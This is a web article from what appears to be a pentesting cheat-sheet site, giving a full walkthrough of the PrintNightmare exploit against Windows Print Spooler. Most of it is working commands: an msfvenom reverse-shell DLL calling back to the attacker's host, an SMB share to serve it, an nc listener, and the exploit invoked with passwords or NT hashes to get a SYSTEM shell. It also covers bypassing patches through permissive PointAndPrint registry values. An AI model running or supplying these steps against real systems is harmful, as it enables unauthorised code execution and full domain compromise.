Skip to content
HackIndex logo

HackIndex

PrintNightmare – Print Spooler RCE to SYSTEM

3 min read Mar 11, 2026

PrintNightmare abuses the RpcAddPrinterDriverEx function in the Windows Print Spooler service to load an arbitrary DLL as SYSTEM. Any authenticated domain user can trigger it — no local admin required. Because the Print Spooler runs on Domain Controllers by default, a single low-privilege domain account can lead directly to full domain compromise.

Two CVEs cover the attack surface: CVE-2021-1675 (original LPE/RCE) and CVE-2021-34527 (remote RCE, more critical). The exploit technique is the same for both.

Patched systems may still be vulnerable if the PointAndPrint registry keys are present with permissive values — check for those before assuming the target is safe.

Prerequisites

  • Valid domain credentials (any user)

  • Print Spooler running on the target

  • Network access to port 445 on the target

Confirm the spooler is exposed:

┌──(kali㉿kali)-[~]
└─$ impacket-rpcdump @$TARGET_IP | grep -E 'MS-RPRN|MS-PAR'
┌──(kali㉿kali)-[~]
└─$ impacket-rpcdump @$TARGET_IP | grep -E 'MS-RPRN|MS-PAR'

If MS-RPRN or MS-PAR appears in the output, the spooler is accessible and the target is potentially vulnerable.

Setting Up the Exploit

The cube0x0 exploit requires his fork of Impacket. Install it in a separate virtual environment to avoid breaking your system Impacket:

┌──(kali㉿kali)-[~]
└─$ python3 -m venv printnightmare
┌──(kali㉿kali)-[~]
└─$ source printnightmare/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install impacket
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/cube0x0/CVE-2021-1675
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-1675

Building the Malicious DLL

The exploit loads a DLL from a UNC path you host. The DLL executes as SYSTEM on the target. Build a reverse shell DLL with msfvenom:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o /tmp/shell.dll

Host it on an SMB share that the target can reach:

┌──(kali㉿kali)-[~]
└─$ impacket-smbserver share /tmp -smb2support

Running the Exploit

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Run the exploit pointing at your hosted DLL:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP '\\$LHOST\share\shell.dll'

With a hash instead of password:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-1675.py $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH '\\$LHOST\share\shell.dll' 
[*] Connecting to ncacn_np:10.10.10.10[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_...\Amd64\UNIDRV.DLL
[*] Executing \\10.10.10.1\share\shell.dll
[*] Try 1...
[*] Stage0: 0
[*] Stage2: 0
[+] Exploit Completed

Your nc listener receives a SYSTEM shell on completion.

Patched But Still Vulnerable – PointAndPrint Check

If the target is patched but PointAndPrint is misconfigured, the exploit still works. Check the registry from a compromised host:

┌──(kali㉿kali)-[~]
└─$ reg query "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

If both of these values are present, the target is still exploitable despite the patch:

NoWarningNoElevationOnInstall = 0x1
RestrictDriverInstallationToAdministrators = 0x0

Loading a Local DLL Instead of UNC

If outbound SMB from the target is blocked, place the DLL in a path the target can already access — a share you know it mounts, or a path discovered via an earlier file write. Change the exploit argument to a local Windows path:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP 'C:\Windows\Temp\shell.dll'

This requires a separate file write step first. Use an authenticated SMB write or another upload method to place the DLL.

References